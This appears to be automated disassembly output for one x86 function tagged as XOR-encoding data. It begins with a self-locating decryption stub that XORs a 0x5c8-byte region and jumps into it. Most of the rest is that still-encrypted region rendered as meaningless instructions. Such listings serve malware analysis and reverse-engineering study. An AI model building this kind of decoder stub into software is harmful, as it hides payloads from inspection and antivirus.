Function at 0xfdd14c
Capabilities:
Encode data using xor

Disassembly:
retf 0xea69
pop ss
jae 0xfdd0f4
dec esp
xor esp, dword [ebx]
retf
jmp 0xfdd156
pushal
call 0xfdd15c
pop ebp
sub ebp, 0x10
sub ebp, 0xbdd14c
jmp 0xfdd172
mov eax, 0xbdd14c
add eax, ebp
add eax, 0x4c
mov ecx, 0x5c8
mov edx, 0x7d533e82
xor byte [eax], dl
inc eax
dec ecx
jne 0xfdd189
jmp 0xfdd19c
or dword [edi + 9], ecx
or edi, dword [esi + 0x3828282]
inc ebx
jp 0xfdd12a
add byte [edx - 0x79c5b07f], 0x82
add byte [edx - 0x7d7d55c8], 0x82
jne 0xfdd218
or dword [edx + 9], 0x82828e03
add byte [ecx - 0x5919f0b9], 0x7e
or eax, dword [esi - 0x5919f05a]
jle 0xfdd1d9
xchg byte [esi - 0x5c534516], ah
sub dl, 0x93
and dword [esi], ebx
add byte [ebx + 0x3deaa6ae], 0x56
push ebx
movsb byte es:[edi], byte [esi]
push 0xffffffffffffff87
add byte [edx - 0x7d57947e], 0x82
adc bh, 0xf
out dx, al
cmpsb byte [esi], byte es:[edi]
or byte [ecx], 7
mov al, byte [edx + 0x17098282]
mov es, word [edx + 0xf098282]
xchg edx, eax
add byte [edx - 0x7f94bc7e], 0xb3
add byte [ecx], 0x40
xchg bl, cl
lea eax, [edi]
jbe 0xfdd28d
jge 0xfdd28f
fild word [eax - 0x72]
or byte [ecx], 0xe
cmpsb byte [esi], byte es:[edi]
xchg byte [edx - 0x45157d7e], al
lodsb al, byte [esi]
mov dword [0x2193ea82], eax
push ds
add byte [ebx - 0x19f05952], 0xa6
jle 0xfdd23a
mov fs, word [esi - 0x7d7d7896]
sub byte [ebx - 0x45], 0x80
add byte [edx + 0x7d6e09d7], 0xf7
mov ebx, 0xd7828280
or dword [esi + 0x7d], ebp
test dword [esi + 0x6a8af77d], 0x828282ee
or dword [edi], edi
mov al, byte [edx + 0x4bb18282]
mov cl, 0x50
add dword [edx - 0x79], ebp
retf 0x68d
adc bh, 9
outsb dx, byte [esi]
jge 0xfdd237
invalid
add byte [edx + 0x6b790282], 0x8d
push es
xchg ebx, eax
add byte [edx + 0x7903e482], 0x7d
cmpsd dword [esi], dword es:[edi]
lea eax, [esi]
xchg edi, eax
add byte [edx + 0x4e6bc382], 0x7d
jge 0xfdd307
stosd dword es:[edi], eax
into
mov ebx, 0x87430183
add dword [edx - 0x7a], ebp
add dword [ecx], 0x43
inc ebx
xchg dword [ecx], eax
push 0xffffffffffffff86
imul edi, dword [edi], 0x7d
jge 0xfdd316
stosd dword es:[edi], eax
salc
mov ebx, 0x84430180
add dword [eax - 0x7a], ebp
add dword [edx - 0x79], ebp
imul ebp, dword [ecx], 0x7d
jge 0xfdd328
or dword [esi - 0x5919f05a], ebp
xchg byte [eax - 0x72], al
adc bh, 9
outsb dx, byte [esi]
aam 0xd5
xlatb
or edi, esi
mov cs, word [ecx]
dec dword [edx + 0x802307e]
test byte [ebx], al
inc esp
add dword [edx - 0x7af57d7e], 3
inc ebp
add dword [edx - 0x7fc67d7e], 0xffffff82
add byte [edx + 0x78d5080], 0x87
add byte [edx - 0x3b6bf77e], 0x90
push eax
lea eax, [ecx]
pop edx
jge 0xfdd368
jge 0xfdd26d
push eax
lea eax, [edi]
xchg dword [edx - 0x6bf77d7e], eax
les edx, [eax - 0x17fe72b0]
add byte [edx - 0x7fbd4e7e], 0x50
lea eax, [edi]
xchg dword [edx - 0x6bf77d7e], eax
les edx, [eax - 0x57fe72b0]
add dword [edx - 0x72af7f7e], 7
add byte [edx - 0x6f3b6bf8], 0x50
lea eax, [ecx]
test al, 0x83
add byte [edx + 0x78d5080], 0x87
add byte [edx - 0x3b6bf77e], 0x90
push eax
xchg ecx, eax
inc edx
adc byte [eax - 0x73], 7
lea eax, [edi]
xchg dword [edx - 0x6bf77d7e], eax
les edx, [eax - 0x7fbd6eb0]
push eax
lea eax, [edi]
xchg dword [edx - 0x6bf77d7e], eax
les edx, [eax - 0x7fbd6eb0]
push eax
lea eax, [edi]
add byte [edx - 0x3b6bf77e], 0x90
push eax
xchg ecx, eax
inc edx
adc byte [eax - 0x73], 7
xchg dword [edx - 0x6bf77d7e], eax
les edx, [eax - 0x7fbd6eb0]
push eax
lea eax, [edi]
or byte [esp + eax*8 + 0x42915090], dl
adc byte [eax - 0x73], 7
xchg dword [edx - 0x6bf77d7e], eax
les edx, [eax - 0x72bd6eb0]
push es
test byte [edx + 0x5d098282], al
test eax, 0xa81085a
test ebp, eax
cmp dword [eax + 0x6b828282], eax
bnd jge 0xfdd3e5
jge 0xfdd3a4
add dword [edx + 0x50808282], 0xffffff8d
pop es
xchg dword [edx - 0x6bf77d7e], eax
les edx, [eax - 0x7fbd6eb0]
push eax
lea eax, [edi]
xchg dword [edx - 0x6bf77d7e], eax
xchg esp, eax
les edx, [eax + 0x5c008d50]
jge 0xfdd40c
jge 0xfdd33a
inc ecx
cmp dword [ebx - 0x727d7d7e], eax
pop es
mov dh, 0x82
add byte [edx - 0x7d7d7cc5], 0x82
adc byte [eax - 0x73], 7
cmp byte [ebx], 0x83
add byte [edx - 0x72af7f7e], 7
lea eax, [edi]
xchg dword [edx - 0x6bf77d7e], eax
les edx, [eax - 0x7fb46eb0]
push eax
lea eax, [edi]
xchg dword [edx - 0x6bf77d7e], eax
les edx, [eax + 0x5c008d50]
jge 0xfdd440
jge 0xfdd399
or dword [ebp - 0x57], esi
ja 0xfdd43b
fsubr qword es:[ebx - 0x76]
jge 0xfdd44d
jge 0xfdd39c
inc ebx
bound ecx, qword [edx + 0x9c48408]
push 0x3b
add dword [edx + 0x50808282], 0xffffff8d
pop es
xchg dword [edx - 0x6bf77d7e], eax
les edx, [eax - 0x7fb46eb0]
push eax
lea eax, [edi]
add byte [edx - 0x6f3b6bf8], 0x50
xchg ecx, eax
dec ebx
adc byte [eax - 0x73], 7
xchg dword [edx - 0x6bf77d7e], eax
les edx, [eax + 0x5c008d50]
jge 0xfdd47d
jge 0xfdd405
add edi, dword [edx - 0x7e]
jp 0xfdd386
inc dword [edx + 0x7d5b0382]
jge 0xfdd489
add byte [edx + 0x7d7d5b03], 0x7d
jge 0xfdd411
jp 0xfdd392
xchg dword [edx + 0x7d5b0382], eax
jge 0xfdd495
add byte [edx + 0x7d7d5b03], 0x7d
jge 0xfdd41d
jp 0xfdd41e
add byte [edx - 0x7dacfc7e], 0x82
add byte [edx - 0x7dfd85fd], 0x82
add byte [ebx], 0x53
add byte [edx - 0x7d7dacfd], 0x82
add byte [ebx], 0x7a
add al, byte [edx + 0x53038282]
add byte [ebx], 0x53
add byte [edx + 0x7a038282], 2
add byte [edx - 0x7dacfc7e], 0x82
add byte [edx - 0x568af62c], 0x72
jno 0xfdd45e
add byte [edx + 0x9d48282], 0x75
test eax, 0xdc267172
imul ebx, dword [ecx], 0x7c
jge 0xfdd4bb
fsubr qword [ebx + 0x19]
jl 0xfdd4ba
jge 0xfdd447
or byte [esp + eax*8 + 0x6a424bb1], al
or dword [ebp - 0x7d7d67fa], 0xffffff82
add edx, dword [ebx - 0x80]
add byte [edx - 0x2b95f67e], 9
jne 0xfdd401
test ah, al
mov cl, 0x4b
inc edx
push 0xffffffffffffff83
les esi, [ecx - 0x7c95bdb5]
lea eax, [esi]
push es
cwde
add byte [edx - 0x7facfc7e], 0x82
add byte [edx + 0x9d46a09], 0x75
test eax, 0xdc267172
cmp dword [ebx + 0x6b828282], eax
int1
jl 0xfdd4e2
push ebx
add byte [edx + 0x6a098282], 0xd4
or dword [ebp - 0x57], esi
jb 0xfdd4cb
fdivr qword es:[ecx]
add dword [edx - 0xe947d7e], 0x7c
jge 0xfdd4e3
add byte [edx + 0x7cf16b82], 0x7d
jge 0xfdd446
fild qword [ecx + 0x45098aff]
test eax, 0x45098aff
fstp st(4)
or dword [edi - 0x21], esp
inc eax
mov al, byte [edx + 0xfa6be09]
out 0xa6, al
xchg byte [ecx], cl
mov dh, 0xa6
cmpsb byte [esi], byte es:[edi]
invalid
bnd retf
add dword [edx - 0x7fd2c47e], 0xb1388282
jg 0xfdd44e
or eax, 0xcbc292b2
lea eax, [edi]
je 0xfdd527
jge 0xfdd529
imul eax, dword [esi + 0x67828282], 0xffffff88
in eax, 0x34
dec edi
cmp cl, bh
lea edi, [edx]
cmp cl, byte [0xb1b11186]
or eax, 0xb1b11186
mov cl, 0xb2
dec edi
out 0xea, eax
daa
cmp al, cl
lea esp, [edi]
cmp dh, byte [0xb1b18581]
xor eax, 0xb1b18581
mov cl, 0x9a
imul esi, dword [esi], 0xb1cb3a4b
dec ebx
dec eax
cmp cl, al
mov ch, 0x36
dec eax
xor byte [ebx - 0x4f], cl
mov cl, 0xb1
mov cl, 0xbe
xor eax, 0xb1b1b1f7
mov dl, 0x67
xor byte [esi - 0x47], dh
dec ebx
mov cl, 0xb1
mov cl, 0xb1
mov esi, 0xb1b1f735
mov cl, 0xb2
xor byte [bp - 0x47], dh
mov cl, 0xb1
mov cl, 0x30
pop eax
mov ecx, 0x30b1b1b1
dec eax
mov cl, 0xb1
mov cl, 0xb1
mov esi, 0x4e4e7d35
dec esi
xlatb
cmp dh, byte [esi + 0x32bd5970]
push ecx
mov esi, 0xb1b24930
mov cl, 0xb1
mov esi, 0xb1b1bc34
mov cl, 0xd7
cmp dh, byte [esi - 0x41b1aed0]
mov cl, 0xb1
mov dl, 0x73
mov al, 0xa9
clc
clc
xor dh, byte [esi - 0x4d]
pop eax
jns 0xfdd57f
dec esi
dec esi
pop eax
mov ch, 0xb1
mov cl, 0xb1
fistp dword [0xfd09ed50]
pushal
or al, 0xb1
mov dl, 0x74
xor byte [ecx - 0x59], dh
mov ch, 0xb1
mov cl, 8
dec edi
mov al, 0xb1
mov cl, 0xb
leave
mov dword [0xa1814e8b], eax
int1
clc
mov esi, 0x4e4e4734
dec esi
pop eax
mov ch, 0xb1
mov cl, 0xb1
fiadd word [ebx + 0x6e]
and dword [edx - 0x49], eax
cmc
inc edx
jne 0xfdd56a
dec ecx
leave
leave
leave
retf 0x4a37
retf 0x440f